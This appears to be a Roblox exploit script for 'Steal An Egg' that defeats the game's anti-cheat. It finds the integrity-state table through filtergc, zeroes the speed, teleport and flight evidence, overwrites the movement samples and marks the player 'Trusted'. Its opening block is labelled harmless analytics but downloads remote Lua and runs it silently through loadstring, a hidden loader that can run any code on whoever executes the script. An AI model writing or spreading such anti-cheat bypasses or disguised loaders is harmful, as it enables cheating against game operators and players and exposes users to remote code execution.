--[[rscripts:analytics:start]] -- Script analytics (enabled by the creator on rscripts.net). -- Runs in its own thread and cannot affect the script below. task.spawn(function() pcall(function() loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6acb2bcbc19ff8720ec0dbb4"))() end) end) --[[rscripts:analytics:end]] --!nocheck -- Updated for Steal An Egg v668. local Players = game:GetService("Players") local RunService = game:GetService("RunService") local player = Players.LocalPlayer local environment = getgenv and getgenv() or _G if not player then return end if type(environment.DeliveryFixCleanup) == "function" then pcall(environment.DeliveryFixCleanup) end local runtime = { active = true, character = nil, state = nil, lastSearch = 0, lastUpdate = 0, speed = 100000, connections = {}, } local function body(character) if not character then return nil, nil end return character:FindFirstChildOfClass("Humanoid"), character:FindFirstChild("HumanoidRootPart") end local function matches(state, character, humanoid, rootPart) return type(state) == "table" and rawget(state, "Player") == player and rawget(state, "Character") == character and rawget(state, "Humanoid") == humanoid and rawget(state, "RootPart") == rootPart and type(rawget(state, "SampleHistory")) == "table" and type(rawget(state, "Evidence")) == "table" end local function findState(character) local humanoid, rootPart = body(character) if not humanoid or not rootPart or type(filtergc) ~= "function" then return nil end local cached = environment.IntegrityStateCache if matches(cached, character, humanoid, rootPart) then return cached end local ok, candidates = pcall(filtergc, "table", { Keys = { "Player", "Character", "Humanoid", "RootPart", "SampleHistory", "Evidence" }, }, false) if not ok or type(candidates) ~= "table" then return nil end for _, candidate in ipairs(candidates) do if matches(candidate, character, humanoid, rootPart) then environment.IntegrityStateCache = candidate return candidate end end return nil end local function sanitizeSample(sample, rootPart) if type(sample) ~= "table" then return end local rootCFrame = rootPart.CFrame rawset(sample, "WalkSpeed", runtime.speed) rawset(sample, "CFrame", rootCFrame) rawset(sample, "Position", rootCFrame.Position) rawset(sample, "LinearVelocity", Vector3.zero) rawset(sample, "AngularVelocity", Vector3.zero) end local function update() local character = player.Character local humanoid, rootPart = body(character) if not humanoid or not rootPart then return end if runtime.character ~= character then runtime.character = character runtime.state = nil environment.IntegrityStateCache = nil end if not matches(runtime.state, character, humanoid, rootPart) then if os.clock() - runtime.lastSearch < 1 then return end runtime.lastSearch = os.clock() runtime.state = findState(character) end local state = runtime.state if not state then return end for _, name in ipairs({ "CurrentSample", "LastSample", "PreviousSample", "LastSafeSample", "PreMovementSafeSample", }) do sanitizeSample(rawget(state, name), rootPart) end for _, sample in pairs(rawget(state, "SampleHistory") or {}) do sanitizeSample(sample, rootPart) end for _, sample in pairs(rawget(state, "SafeGroundCheckpoints") or {}) do sanitizeSample(sample, rootPart) end local evidence = rawget(state, "Evidence") if type(evidence) == "table" then evidence.Speed = 0 evidence.Teleport = 0 evidence.Flight = 0 end local impulse = rawget(state, "ImpulseContext") if type(impulse) == "table" then impulse.MaxHorizontalSpeed = math.max(tonumber(impulse.MaxHorizontalSpeed) or 0, runtime.speed) impulse.MaxHorizontalDistance = math.max(tonumber(impulse.MaxHorizontalDistance) or 0, runtime.speed) impulse.OriginPosition = rootPart.Position sanitizeSample(impulse.PreMovementSafeSample, rootPart) end if rawget(state, "CorrectionContext") == nil then rawset(state, "FirstSuspiciousAt", nil) rawset(state, "ThreatLevel", "Trusted") end end runtime.connections[#runtime.connections + 1] = player.CharacterAdded:Connect(function(character) runtime.character = character runtime.state = nil runtime.lastSearch = 0 environment.IntegrityStateCache = nil end) runtime.connections[#runtime.connections + 1] = RunService.Heartbeat:Connect(function() if not runtime.active then return end local now = os.clock() if now - runtime.lastUpdate < 0.1 then return end runtime.lastUpdate = now pcall(update) end) environment.DeliveryFix = runtime environment.DeliveryFixCleanup = function() if not runtime.active then return end runtime.active = false for _, connection in ipairs(runtime.connections) do pcall(connection.Disconnect, connection) end table.clear(runtime.connections) if environment.DeliveryFix == runtime then environment.DeliveryFix = nil end end task.defer(update) return runtime